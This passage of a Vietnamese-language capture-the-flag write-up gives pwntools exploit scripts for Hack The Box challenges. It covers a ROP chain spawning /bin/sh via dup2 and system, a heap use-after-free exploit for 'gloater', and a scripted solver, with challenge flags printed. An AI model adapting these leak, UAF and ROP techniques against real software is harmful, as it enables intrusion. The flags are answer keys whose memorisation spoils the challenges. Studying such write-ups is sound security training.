pop_rdi = ROP(libc).find_gadget(["pop rdi","ret"])[0]
rop = [pop_rdi+1,pop_rdi,next(libc.search(b"/bin/sh\0")),libc.sym['system']]
rop = b"".join([p64(i) for i in rop])
pop_rax = ROP(libc).find_gadget(["pop rax","ret"])[0]
pop_rsi = ROP(libc).find_gadget(["pop rsi","ret"])[0]
syscall = ROP(libc).find_gadget(["syscall","ret"])[0]
payload = b'VIEW target_competitor: competitor123\r'
p.sendline(payload)
payload = b'a'.ljust(2048 + 0x30 - 1, b'a')
payload += p64(pop_rsi) + p64(0) + p64(pop_rdi) + p64(0x6) + p64(libc.sym.dup2)
payload += p64(pop_rsi) + p64(1) + p64(pop_rdi) + p64(0x6) + p64(libc.sym.dup2)
payload += rop + b'\r\n\r\n'
p.send(payload)
# exec 1<&0
p.interactive()
#HTB{wH4t_d1D_tH3_oRAcL3_s4y_tO_tH3_f1gHt3r?}
```
>HTB{wH4t_d1D_tH3_oRAcL3_s4y_tO_tH3_f1gHt3r?}
### gloater
- basic file check

- check ida

>**main()**

>**change_user()**

>**create_taunt()**

>**remove_taunt()**

>**send_taunt()**

>**set_super_taunt()**

>ngoài ra còn có vài hàm phụ
>nhưng k quan trọng lắm
#### analyse

- nhìn vào các biến bss, thấy được **user** và **super_taunt_plague** cách nhau 0x10, mà ngay ở hàm **main()** biến **user** lại cho nhập 0x10, đồng thời ở hàm **change_user()** có in ra %s **user**, và **super_taunt_plague** có thể được set ở hàm **set_super_taunt()** chứa địa chỉ stack
- thêm nữa trong hàm **set_super_taunt()** có %s những gì mình nhập vào ---> nối chuỗi leak libc
- bug khác là ở hàm **change_user()** có chỗ **strncpy(&dest, buf, size);**, và biến **dest** bắt đầu từ 411C, khả năng ghi đè 0x10 dẫn đến có thể thay đổi 12 byte **taunts** (chunk0 và 4 byte chunk1)
- ở **remove_taunt()** không xoá ptr sau khi free ---> UAF
- idea: ow 1 hoặc 2 byte chunk0 rồi free (nếu chunk0 đã được free trước đó) ---> fake chunk thành stack ---> ROPchain
#### get shell

- script:
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./gloater_patched',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*change_user+271
b*create_taunt+367
b*remove_taunt+168
b*remove_taunt+180
b*remove_taunt+226
b*send_taunt+180
b*set_super_taunt+228
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('83.136.254.167',33158)
else:
p = process(exe.path)
def update(newuser):
sla(b'> ',b'1')
sa(b'User: ',newuser) #0x10
def add(target,name):
sla(b'> ',b'2')
sa(b'target: ',target) #0x1F
sa(b'Taunt: ',name) #0x3FF
def delete(idx):
sla(b'> ',b'3')
sla(b'Index: ',str(idx))
def send_taunts():
sla(b'> ',b'4')
def set_super(idx,name):
sla(b'> ',b'5')
sla(b'Taunt: ',str(idx))
sa(b'taunt: ',name) #0x88
sa(b'> ',b'a'*0x10) #0x10
GDB()
payload = p64(0) + p64(0x51) + p64(0) * 4
add(b'a', payload) #0
add(p64(0) * 3 + b'\x31', payload) #1
add(b'a', payload) #2
add(b'a', payload) #3
add(b'a', payload) #4
# delete(2)
set_super(0,b'a'*0x88)
p.recvuntil(b'a'*0x88)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym['puts']
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
payload = b'a'*4 + b'\xe0' #ow 1 byte
update(payload)
p.recvuntil(b'a'*0x10)
stack_leak = u64(p.recv(6)+b'\0\0') - 0x20
info("stakc leak: " + hex(stack_leak))
delete(2)
delete(1)
delete(0)
delete(3)
payload = p64(0) * 5 + p64(0x31) + p64(stack_leak) * 2
add(b'a',payload) #5
# GDB()
pop_rdi = ROP(libc).find_gadget(["pop rdi","ret"])[0]
rop = [pop_rdi+1,pop_rdi,next(libc.search(b"/bin/sh\0")),libc.sym.system]
rop = b"".join([p64(i) for i in rop])
add(b'a', b'a' * 8 + rop ) #6
p.interactive()
#HTB{gL0aT_aLl_y0u_l1k3,c0mb4t_cHoOsES_tH3_viCt0rS}
```
>HTB{gL0aT_aLl_y0u_l1k3,c0mb4t_cHoOsES_tH3_viCt0rS}
## MISC
### Stop Drop and Roll
- làm theo yêu cầu đề thôi
- mà tận 500 loop =)))
```py
#!/usr/bin/python3
from pwn import *
p = remote('94.237.49.121',36511)
p.sendlineafter(b'(y/n) ',b'y')
delimiter = '-'
p.recvline()
for j in range(500):
log.info("round " + str(j))
string = p.recvuntil(b'\n',drop=True)
array = string.split(b', ')
answer = []
for i in range(len(array)):
if array[i] == b'GORGE':
answer.append('STOP')
if array[i] == b'PHREAK':
answer.append('DROP')
if array[i] == b'FIRE':
answer.append('ROLL')
payload = delimiter.join(answer)
p.sendlineafter(b'do? ',payload)
p.interactive()
#HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}
```
>HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}